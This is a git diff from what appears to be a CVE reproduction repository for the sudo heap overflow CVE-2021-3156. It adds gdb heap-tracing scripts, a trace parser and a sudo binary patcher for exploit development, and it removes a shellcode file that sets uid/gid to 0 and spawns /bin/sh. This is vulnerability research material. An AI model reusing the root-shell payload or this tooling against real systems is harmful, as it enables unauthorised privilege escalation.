*(__GI___libc_realloc+466) from _int_realloc +break malloc.c:3045 +commands + i r $r15 + continue +end +# nss_load_library +break nss_load_library +commands + continue +end +# calloc +break __libc_calloc +commands + bt + continue +end +# calloc return value (real return is malloc.c:3523 r8) +# return from _int_malloc() +break malloc.c:3247 +commands + i r $rax + continue +end +#run +continue +bt +info proc mappings +quit + diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/cmds_cent8 b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_cent8 new file mode 100644 index 0000000000000000000000000000000000000000..ad3e1b8b2287a961d9abfeefb45ca96e9acd23af --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_cent8 @@ -0,0 +1,76 @@ +set breakpoint pending on +set disassembly-flavor intel +set print pretty on +set print asm-demangle on +# disable paging +set height 0 +set width 0 +set pagination off +set $outside = 1 +catch syscall openat +commands + set $outside = ! $outside + if ($outside) + i r $rax + else + bt 4 + end + continue +end +break __libc_malloc +commands + bt + continue +end +# malloc return +break *(__GI___libc_malloc+193) +commands + i r $rdx + continue +end +# free +break __libc_free +commands + bt + if $rdi != 0 + x/4s $rdi + end + continue +end +# realloc(NULL, size) called malloc directly +break __libc_realloc if $rdi != 0 +commands + bt + x/4s $rdi + continue +end +# realloc return (from _int_realloc) +break malloc.c:3230 +commands + i r $rax + continue +end +# nss_load_library +break nss_load_library +commands + continue +end +# calloc +break __libc_calloc +commands + bt + continue +end +# calloc return value (real return is malloc.c:3523 r8) +# return from _int_malloc() +break malloc.c:3446 +commands + i r $rax + continue +end +#run +continue +bt +info proc mappings +quit + diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/cmds_deb10 b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_deb10 new file mode 100644 index 0000000000000000000000000000000000000000..c318df659ef37eaa8287f3a84693fcacd3f6fd1a --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_deb10 @@ -0,0 +1,63 @@ +set breakpoint pending on +set disassembly-flavor intel +set print pretty on +set print asm-demangle on +# disable paging +set height 0 +set width 0 +set pagination off +set $outside = 1 +catch syscall openat +commands + set $outside = ! $outside + if ($outside) + i r $rax + else + bt 4 + end + continue +end +# malloc +break __libc_malloc +commands + bt + continue +end +# malloc return +break malloc.c:2937 +commands + i r $rdx + continue +end +# free +break __libc_free +commands + bt + if $rdi != 0 + x/4s $rdi + end + continue +end +# realloc(NULL, size) called malloc directly +break __libc_realloc if $rdi != 0 +commands + bt + x/4s $rdi + continue +end +# realloc return +break malloc.c:3194 +commands + i r $r13 + continue +end +break nss_load_library +commands + continue +end +#run +continue +bt +info proc mappings +quit + diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/cmds_deb9 b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_deb9 new file mode 100644 index 0000000000000000000000000000000000000000..c86e2a05526cfbc297ddf99c3fd52d27c8f4cf81 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_deb9 @@ -0,0 +1,77 @@ +set breakpoint pending on +set disassembly-flavor intel +set print pretty on +set print asm-demangle on +# disable paging +set height 0 +set width 0 +set pagination off +set $outside = 1 +# open file. on old system might be open syscall +catch syscall openat +commands + set $outside = ! $outside + if ($outside) + i r $rax + else + bt 4 + end + continue +end +# malloc +break __libc_malloc +commands + bt + continue +end +# malloc result from _int_malloc +break malloc.c:2931 +commands + i r $rax + continue +end +# free +break __libc_free +commands + bt + if $rdi != 0 + x/4s $rdi + end + continue +end +# realloc(NULL, size) called malloc directly +break __libc_realloc if $rdi != 0 +commands + bt + #x/4s $rdi + continue +end +# realloc result, from _int_realloc +break *(__libc_realloc+345) +commands + i r $rax + continue +end +# nss_load_library +break nss_load_library +commands + continue +end +# calloc +break __libc_calloc +commands + bt + continue +end +# calloc result, return from _int_malloc() +break *(__libc_calloc+635) +commands + i r $rax + continue +end +#run +continue +bt +info proc mappings +quit + diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/cmds_u14 b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_u14 new file mode 100644 index 0000000000000000000000000000000000000000..f27c4c04b88eddd3b3968d13f2097147684600c0 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_u14 @@ -0,0 +1,77 @@ +set breakpoint pending on +set disassembly-flavor intel +set print pretty on +set print asm-demangle on +# disable paging +set height 0 +set width 0 +set pagination off +set $outside = 1 +# open file. on old system might be open syscall +catch syscall open +commands + set $outside = ! $outside + if ($outside) + i r $rax + else + bt 4 + end + continue +end +# malloc +break *(__libc_malloc+4) +commands + bt + continue +end +# malloc result from _int_malloc +break malloc.c:2892 +commands + i r $rax + continue +end +# free +break __libc_free +commands + bt + if $rdi != 0 + x/4s $rdi + end + continue +end +# realloc(NULL, size) called malloc directly +break *(__libc_realloc+15) if $rdi != 0 +commands + bt + #x/4s $rdi + continue +end +# realloc result +break malloc.c:3048 +commands + i r $rax + continue +end +# nss_load_library +break nss_load_library +commands + continue +end +# calloc +break __libc_calloc +commands + bt + continue +end +# calloc result, return from _int_malloc() +break malloc.c:3222 +commands + i r $rax + continue +end +#run +continue +bt +info proc mappings +quit + diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/cmds_u16 b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_u16 new file mode 100644 index 0000000000000000000000000000000000000000..6e0e154bea93ae562e631a2d5f79f6b732a95e74 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_u16 @@ -0,0 +1,77 @@ +set breakpoint pending on +set confirm off +set disassembly-flavor intel +set print pretty on +set print asm-demangle on +# disable paging +set height 0 +set width 0 +set pagination off +set $outside = 1 +catch syscall open +commands + set $outside = ! $outside + if ($outside) + i r $rax + else + bt 4 + x/s $rdi + end + continue +end +break __libc_malloc +commands + bt + continue +end +# malloc return +break *(__libc_malloc+188) +commands + i r $rdx + continue +end +# free +break __libc_free +commands + bt + if $rdi != 0 + x/4s $rdi + end + continue +end +# realloc(NULL, size) called malloc directly +break __libc_realloc if $rdi != 0 +commands + bt + x/4s $rdi + continue +end +# realloc return +#break malloc.c:3259 +break kill +commands + i r $r13 + continue +end +break nss_load_library +commands + continue +end +# calloc +break __libc_calloc +commands + bt + continue +end +# calloc return +break malloc.c:3246 +commands + i r $rax + continue +end +#run +continue +bt +info proc mappings +quit + diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/cmds_u18 b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_u18 new file mode 100644 index 0000000000000000000000000000000000000000..89cabf2adb4dabeca51b2c772dd770cd2b1a62f8 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_u18 @@ -0,0 +1,77 @@ +set breakpoint pending on +set disassembly-flavor intel +set print pretty on +set print asm-demangle on +# disable paging +set height 0 +set width 0 +set pagination off +set $outside = 1 +# open file. on old system might be open syscall +catch syscall openat +commands + set $outside = ! $outside + if ($outside) + i r $rax + else + bt 4 + end + continue +end +# malloc +break __GI___libc_malloc +commands + bt + continue +end +# malloc return +break malloc.c:3091 +commands + i r $rdx + continue +end +# free +break __GI___libc_free +commands + bt + if $rdi != 0 + x/4s $rdi + end + continue +end +# realloc(NULL, size) called malloc directly +break __GI___libc_realloc if $rdi != 0 +commands + bt + #x/4s $rdi + continue +end +# realloc return +break malloc.c:3259 +commands + i r $r13 + continue +end +# nss_load_library +break nss_load_library +commands + continue +end +# calloc +break __libc_calloc +commands + bt + continue +end +# return from _int_malloc() +break malloc.c:3448 +commands + i r $rax + continue +end +#run +continue +bt +info proc mappings +quit + diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/gdbexp.py b/cve/sudo/2021/CVE-2021-3156/gdb/gdbexp.py new file mode 100644 index 0000000000000000000000000000000000000000..2fb2fbe4398d4b8f082c85b652a1d497f69a1515 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/gdb/gdbexp.py @@ -0,0 +1,37 @@ +#!/usr/bin/python3 +''' +Client for tracing patched sudo. Don't forget to start server first before running this. + +Running command: +python gdbexp.py exploit.py +''' +import subprocess +import sys +import time + + +if len(sys.argv) < 2: + print('Usage: %s [args...]' % sys.argv[0]) + exit(1) + +cmd = 'python' +if sys.version_info[0] == 3: + cmd += '3' + +FIFO_PATH = "/tmp/gdbsudo" + +proc = subprocess.Popen([cmd] + sys.argv[1:], stdin=subprocess.PIPE, bufsize=0) +#time.sleep(0.5) + +# send to gdber to start debugging +fifo = open(FIFO_PATH, "w") +fifo.write(str(proc.pid)) +fifo.close() +time.sleep(0.5) + +# trigger enter, resume sudo +proc.stdin.write(b'\n') +proc.stdin.close() # close stdin to exit incase we get shell + +ret = proc.wait() +print('exit code: %d' % ret) diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/gdbroot.py b/cve/sudo/2021/CVE-2021-3156/gdb/gdbroot.py new file mode 100644 index 0000000000000000000000000000000000000000..f736ecfba5a360a245116b0ceb05df6302148c46 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/gdb/gdbroot.py @@ -0,0 +1,31 @@ +#!/usr/bin/python3 +''' +Server for tracing patched sudo. run it with sudo or as root. +Requires 'cmds' file as gdb comamnds in current directory. + +Running command: +python gdbroot.py +''' +import os +import time + +FIFO_PATH = "/tmp/gdbsudo" + +try: + os.unlink(FIFO_PATH) +except: + pass + +os.umask(0) +os.mkfifo(FIFO_PATH, 0o666) + +while True: + fifo = open(FIFO_PATH, "r") + pid = int(fifo.read()) + fifo.close() + cmd = 'gdb -q -p %d < cmds > log 2>&1' % pid + print('\n=== got: %d. sleep 0.5s' % pid) + #time.sleep(0.5) + print(cmd) + os.system(cmd) + print('done') diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/parse.py b/cve/sudo/2021/CVE-2021-3156/gdb/parse.py new file mode 100644 index 0000000000000000000000000000000000000000..6d1480f80fd6ca42042059f22e108e58cfc32bea --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/gdb/parse.py @@ -0,0 +1,193 @@ +#!/usr/bin/python3 +''' +For parsing gdb trace log +''' +import re +import sys + +break_pattern = re.compile(r'^\w+\s+(\d+),(.*in)?\s+(\w+)\s+\((.*)\) .+$') + +record = None +records = [] + +def new_catch_record(line): + # now, catch only 1 syscall. get filename + #pos = line.index('"') + 1 + #epos = line.index('"', pos) + #fname = line[pos:epos] + fname = None + return { 'type': 'open', 'file': fname, 'bt': [] } + +def parse_args(txt): + args = [] + for arg_txt in txt.split(', '): + if arg_txt[-1] == '"': + # assume text + args.append(arg_txt[arg_txt.index('"')+1:-1]) + continue + + pos = arg_txt.index('=') + name = arg_txt[:pos] + pos += 1 + # argument name might be name=name@entry= + if name == arg_txt[pos:pos+len(name)]: + pos += len("@entry=") + len(name) + args.append(arg_txt[pos:]) + return args + +def new_breakpoint_record(line): + # malloc, free, realloc, calloc + m = break_pattern.match(line) + bid, _, fn_name, fn_args = m.groups() + if bid == '2' and '__libc_malloc' in fn_name: # malloc + args = parse_args(fn_args) + return { 'type': 'malloc', 'size': int(args[0]), 'result': None, 'bt': [] } + elif bid == '4' and '__libc_free' in fn_name: # free + args = parse_args(fn_args) + return { 'type': 'free', 'mem': int(args[0], 16), 'bt': [] } + elif bid == '5' and '__libc_realloc' in fn_name: # realloc + #if 'realloc_hook_ini' not in line: + args = parse_args(fn_args) + return { 'type': 'realloc', 'mem': int(args[0], 16), 'size': int(args[1]), 'result': None, 'bt': [] } + elif bid == '7' and fn_name == 'nss_load_library': # nss_load_library + args = parse_args(fn_args) + return { 'type': 'nss_load_library', 'addr': int(args[0], 16) } + elif bid == '8' and fn_name == '__libc_calloc': # calloc + args = parse_args(fn_args) + return { 'type': 'calloc', 'n': int(args[0]), 'esize': int(args[1]), 'result': None, 'bt': [] } + + return None + +def update_record_bt(record, line): + addr = None + if line[4:6] == '0x': + addr = int(line[4:22], 16) + pos = 26 + else: + pos = 4 + + epos = line.index(' ', pos) + fn_name = line[pos:epos] + pos = epos+1 + assert line[pos] == '(' + pos += 1 + epos = line.find(') at ') + if epos == -1: + args = None + src = line[4:22] + else: + args = line[pos:epos] + src = line[epos + 5:].rstrip() + record['bt'].append((addr, fn_name, args, src)) + +def update_record_result(record, line): + #assert record['result'] is None + pos = line.index('0x') + epos = line.find('\t', pos) + if epos == -1: + epos = line.index(' ', pos) + record['result'] = int(line[pos:epos], 16) + +# don't go too depth. make it easy to read +# __GI_setlocale +curr_cstack = [] +def print_call_stack(bt): + global curr_cstack + updated = False + pos = 0 + for i, info in enumerate(bt): + addr, fn_name, args, src = info + # 'nss_load_library', + if fn_name in ('__GI_setlocale', 'sudo_conf_read_v1', '__GI___nss_database_lookup', 'nss_parse_service_list', 'nss_new_service', 'get_user_info', 'parse_args', 'sudo_load_plugin', 'format_plugin_settings', 'sudoers_policy_open', 'sudoers_policy_main', 'set_cmnd', 'register_hook'): + pos = i + break + cstack = list(reversed(bt[i:])) + + if len(curr_cstack) == len(cstack): + for old, new in zip(curr_cstack, cstack): + if old[1] != new[1] or old[3] != new[3]: + updated = True + break + else: + updated = True + + if updated: + curr_cstack = cstack + print('') + for info in cstack: + addr, fn_name, args, src = info + if fn_name == '__GI___nss_database_lookup': + args = parse_args(args) + print(f'{fn_name}(db={args[0]}, default="{args[2]}")') + elif fn_name == 'nss_parse_service_list': + pos = args.index('"') + 1 + pos = args.index('"', pos) + pos = args.index('"', pos+10) + 1 + epos = args.index('"', pos) + line = args[pos:epos].strip() + print(f'{fn_name}("{line}")') + else: + print(f'{fn_name} at {src}') + +def analyze_record(record): + if record is None: + return + + if record['type'] == 'open': + return + if record['type'] == 'nss_load_library': + print(f"\nnss_load_library(0x{record['addr']:x})\n") + return + + + print_call_stack(record['bt']) + if record['type'] == 'malloc': + chunk_size = (record['size'] + 8 + 15) & 0xfffffff0 + if chunk_size < 0x20: + chunk_size = 0x20 # min size + if record['result']: + print(f"- malloc(0x{record['size']:x}) => 0x{record['result']:08x} => chunk size: 0x{chunk_size:x}") + else: + print(f"- malloc(0x{record['size']:x}) => chunk size: 0x{chunk_size:x}") + elif record['type'] == 'free': + print(f"- free(0x{record['mem']:08x})") + elif record['type'] == 'realloc': + if record['result']: + print(f"- realloc(0x{record['mem']:08x}, {record['size']}) => 0x{record['result']:08x}") + else: + print(f"- realloc(0x{record['mem']:08x}, {record['size']})") + elif record['type'] == 'calloc': + chunk_size = ((record['esize']*record['n']) + 8 + 15) & 0xfffffff0 + if chunk_size < 0x20: + chunk_size = 0x20 # min size + print(f"- calloc({record['n']}, {record['esize']}) => 0x{record['result']:08x} => chunk size: 0x{chunk_size:x}") + + +start = False +with open(sys.argv[1], 'r') as f: + for line in f: + if not start: + line = line.strip() + if ' Continuing.' in line: + start = True + continue + + if line.startswith('Catchpoint '): + analyze_record(record) + record = new_catch_record(line) + records.append(record) + elif line.startswith('Breakpoint '): + tmp_record = new_breakpoint_record(line) + if tmp_record is not None: + analyze_record(record) + record = tmp_record + records.append(record) + elif line.startswith('#'): + if record is not None: + update_record_bt(record, line) + elif line.startswith('r'): + if record is not None: + update_record_result(record, line) + + analyze_record(record) + diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/patch.py b/cve/sudo/2021/CVE-2021-3156/gdb/patch.py new file mode 100644 index 0000000000000000000000000000000000000000..75b2fe266b6cfbe3755a5b1fbf71b66d35ccc58b --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/gdb/patch.py @@ -0,0 +1,64 @@ +#!/usr/bin/python3 +''' +Quick and dirty patch for sudo on Linux x64 to pause for character in start of main. +It is used for debugging sudo that run from user environment. + +Does not work on very old binaries (from Ubuntu 14.04, CentOS 6) +''' +import sys +import subprocess + +orig_file = sys.argv[1] +out_file = sys.argv[2] + +patch_data = ( + b'\x31\xc0' # xor eax, eax + b'\x31\xff' # xor edi, edi + b'\x48\x89\xe6' # mov rsi, rsp + b'\xba\x01\x00\x00\x00' # mov edx, 1 + b'\x0f\x05' # syscall +) + +patch_offset = None +patch_len = None +with subprocess.Popen(['objdump', '-d', '-M', 'intel', orig_file], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True) as proc: + found_text_section = False + found_call_sudo_debug = False + for line in proc.stdout: + if not found_text_section: + if line.startswith('Disassembly of section .text:'): + found_text_section = True + continue + + if not found_call_sudo_debug: + # just estimate value + asm = line.strip()[20:] + if 'call ' in asm and ' = len(patch_data) + +patch_data = patch_data.ljust(patch_len, b'\x90') +with open(orig_file, 'rb') as f: + data = f.read() + +with open(out_file, 'wb') as f: + f.write(data[:patch_offset]) + f.write(patch_data) + f.write(data[patch_offset+patch_len:]) diff --git a/cve/sudo/2021/CVE-2021-3156/images/450acf1a2f14793aafa987905b20eeba.png b/cve/sudo/2021/CVE-2021-3156/images/450acf1a2f14793aafa987905b20eeba.png deleted file mode 100644 index 3bfa8aa6c8fca049ec5ca5e3d29dc6fb70074c5d..0000000000000000000000000000000000000000 Binary files a/cve/sudo/2021/CVE-2021-3156/images/450acf1a2f14793aafa987905b20eeba.png and /dev/null differ diff --git a/cve/sudo/2021/CVE-2021-3156/shellcode.c b/cve/sudo/2021/CVE-2021-3156/shellcode.c deleted file mode 100644 index 367a918f2b5461d33eb497476c90eb59ed4d3376..0000000000000000000000000000000000000000 --- a/cve/sudo/2021/CVE-2021-3156/shellcode.c +++ /dev/null @@ -1,34 +0,0 @@ -static void __attribute__((constructor)) _init(void) { - __asm __volatile__( - "addq $64, %rsp;" - // setuid(0); - "movq $105, %rax;" - "movq $0, %rdi;" - "syscall;" - - - // setgid(0); - "movq $106, %rax;" - "movq $0, %rdi;" - "syscall;" - - - // execve("/bin/sh"); - "movq $59, %rax;" - "movq $0x0068732f6e69622f, %rdi;" - "pushq %rdi;" - "movq %rsp, %rdi;" - "movq $0, %rdx;" - "pushq %rdx;" - "pushq %rdi;" - "movq %rsp, %rsi;" - "syscall;" - - - // exit(0); - "movq $60, %rax;" - "movq $0, %rdi;" - "syscall;" - -); -} diff --git a/cve/sudo/2021/yaml/CVE-2021-3156.yaml b/cve/sudo/2021/yaml/CVE-2021-3156.yaml index fde43125b89ef59e12781805dc96aae2055df5ce..5782b43067351fdb186e305dc72697488ff67639 100644 --- a/cve/sudo/2021/yaml/CVE-2021-3156.yaml +++ b/cve/sudo/2021/yaml/CVE-2021-3156.yaml @@ -1,5 +1,5 @@ id: CVE-2021-3156 -source: https://github.com/Rvn0xsy/CVE-2021-3156-plus +source: https://github.com/worawit/CVE-2021-3156 info: name: Sudo是一款使用于类Unix系统的,允许用户通过安全的方式使用特殊的权限执行命令的程序。 severity: high diff --git a/other_list.yaml b/other_list.yaml index b545c6c0d076a40910ee56c0896906b08f4d6977..0da73d52db6244f5b65ee680cc5d7a3c19e91b04 100644 --- a/other_list.yaml +++ b/other_list.yaml @@ -1,3 +1,5 @@ #此收录漏洞列表为非openKylin发行版用例。 cve: + linux-kernel: + - CVE-2022-0995 cnvd: \ No newline at end of file